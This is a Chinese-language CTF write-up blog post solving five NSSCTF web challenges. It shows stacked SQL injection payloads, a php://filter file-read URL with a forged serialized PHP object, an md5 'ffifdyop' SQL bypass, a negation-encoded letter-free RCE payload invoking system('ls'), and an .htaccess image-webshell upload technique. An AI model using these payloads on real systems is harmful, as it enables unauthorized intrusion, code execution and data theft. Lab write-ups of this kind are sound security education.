NSSCTF刷题日记复健day5

看来大伙是人机啊

 [suctf 2019]EasySQL

 sql题,sqlmap怎么设置的post我忘了,遂决定手注,这里or ,union,from什么的都被禁止了,按道理是应该跑跑burp字典一眼看出什么可用的,但是懒了,直接试试堆叠注入:

堆叠注入的原理是 ';' 符号,这种情况下 command1;command2 会按照顺序执行

1;show databases;

1;show tables#

 

 1;show columns from 'Flag'#

这里from被ban了,很疑惑,于是找到了其他的WP观摩,发现有点离谱哦,人均猜测出来正确语句,直接写猜测语句为

NSSCTF | 在线CTF平台   感谢d4v1d的题解帮助了我很多

select $_POST['query'] || flag from flag [1]

好好好,知道了sql语句就很好办了,这里给出的绝大多数答案都是*,1

select *,1|| flag from flag [1] 这里用到的知识是||符号的运算顺序,我们可以将该句拆开为两个命令分别为:

select * flag from flag [1]     ||    select 1 flag from flag [1]

这于上面句子等价,command1 || command2的执行顺序是:

如果command1执行失败,那么就会执行command2

那么这里第一句很明显直接成功了,传出了flag表中所有元素。

那么解2:1;set sql_mode=PIPES_AS_CONCAT;select 1    是官方解

用到了sql_mode的SQL 语法,PIPES_AS_CONCAT 会将 || 视为字符串的连接操作符而非 “或” 运算符,即此刻并非上述的执行成功如何失败如何,而是直接使句子变为:

select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

与上面解不同,可以看到是select 1 和NSS 这里select 1 不会报错,而是使1成为新创建的一列的值 ,这种用法只能用于数字,字母拼接会产生错误。


[ZJCTF 2019]NiZhuanSiWei

一来就看到了我们之前遇到的句子

file_get_contents($text,'r')==="welcome to the zjctf"   伪协议

$password = unserialize($password);   反序列化

 

 

用法不过多叙说,这里伪协议写入他想要的内容,然后高亮显示你的内容,下面给了个php,访问进去看不到内容,那估计是用到file,让这个php内容显示:

这里直接file=出不来,再次利用协议:

http://node4.anna.nssctf.cn:28329/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

解码:

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 

所以那些告诉你这道题ctrl +u 什么burp看到源码的,呵呵。

然后就是喜闻乐见的反序列化流程,这里tostring就是当内容被当成str输出的时候就会启用,这里echo就是一种当作str输出的过程,其实熟练一点序列化字段属性就可以直接改

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

这里Flag字数一样,不用改,内容只有file,就2->1,里面删一下,留admin,把5->4,admin换file,然后5->8,admin改flag.php,当然你改之前用过的php自己生成就好了。我懒,改的时候数字数没数对还得重数

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 艹,我说为什么我改出来老是错误,复制别人的也错,自己跑了遍urlcode对了,是特么输入法是中文,我刚才删掉了一个"加上去了中文的,别的wp也是中文敲的,md坑壁!


 

[BJDCTF 2020]easy_md5 

md5,又是password,既然没有看到直接比较,那多半是考验什么特殊的md5字段,

然后看到hint有:select * from 'admin' where password=md5($pass,true)

CTF-[Web] MD5解题思路_md5的绕过题-CSDN博客

可以看到将我们输入内容进行了md5加密,而这里产生了比较,搜索这个语句,发现md5的加密会将我们的字段转化为16进度字符二进制格式,这里利用到sql思想:
ffifdyop 这个字符转换后的内容是'or'6<乱码> 形成了永真式

 下一关f12发现题目,这里md5值前不同,md5后值相同,一个可以利用md5弱碰撞,使得两个值不同的数在md5后都以0开头,因为==在遇到字母时候会自动停下,比较的只有0,会认为两者相同,也可以利用数组碰撞,数组在==时候会自动返回false,而两边false=false,数字内容自定义,这样一样可以通过

 

与上面思路类似,这里用了强比较,也可以利用数组

 

 


[SWPUCTF 2021 新生赛]hardrce 

看题目,加入了黑名单,又不能使用字母,无字母无符号rce,你搜也搜索的到,就是无字母rce,其思想其实反序列化也用到了一部分,也就是将我们的命令url编码后取反,当然也不仅仅是取反。

这里随手找了两篇博客供大家参考。

https://www.cnblogs.com/pursue-security/p/15404150.html#_label1 

无字母数字rce总结(自增、取反、异或、或、临时文件上传)_无数字字母rce yu22x-CSDN博客

 

 

<?php

echo urlencode(~'system');

echo '  ';

echo urlencode(~'ls');

把命令修改一下,注意加上括号,在最后加上分号就是了:

(~%8C%86%8C%8B%9A%92)(~%93%8C);

然后直接cat就行了。


[SWPUCTF 2021 新生赛]easyupload3.0 

.htaccess  文件上传   MIME绕过 

 额,标题出卖一切,这里明显上传.htaccess文件,然后传入图片马。

生成图片马其实很简单,最简单的是改后缀,查文件头什么的你可以用cmd里命令去融合图片和php,搜一下有教程的,然后如何判断可不可以用.htaccess或者use.ini什么的,你就看传的上去不嘛,这个最直接,其实也可以看中间件这些,当然我相信你看不出来,不要傻乎乎的传个图片马上去连jpg,很逆天的行为,没有执行函数或者这种可以传.hatccess漏洞,你连到die你都连不上去。

 这里.hatccess的作用还是提一嘴:

.htaccess的利用方法和技巧-CSDN博客

htaccess文件是一个用于Apache Web服务器的配置文件。它允许您在不修改主服务器配置文件的情况下,对单个目录(及其子目录)进行配置。这种方式使得网站管理员可以对特定目录应用特定的设置,例如URL重写、访问控制、MIME类型等。

具体过程就不再多说,想到连接图片马我就想起做靶场项目连了一下午jpg的队友,(此处有笑哭表情。


出去吃饭,剪头发什么的了

这里是很菜的WL。

感谢你的收看,希望能够帮到你.

那么我们下一集再见!

  • 28
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值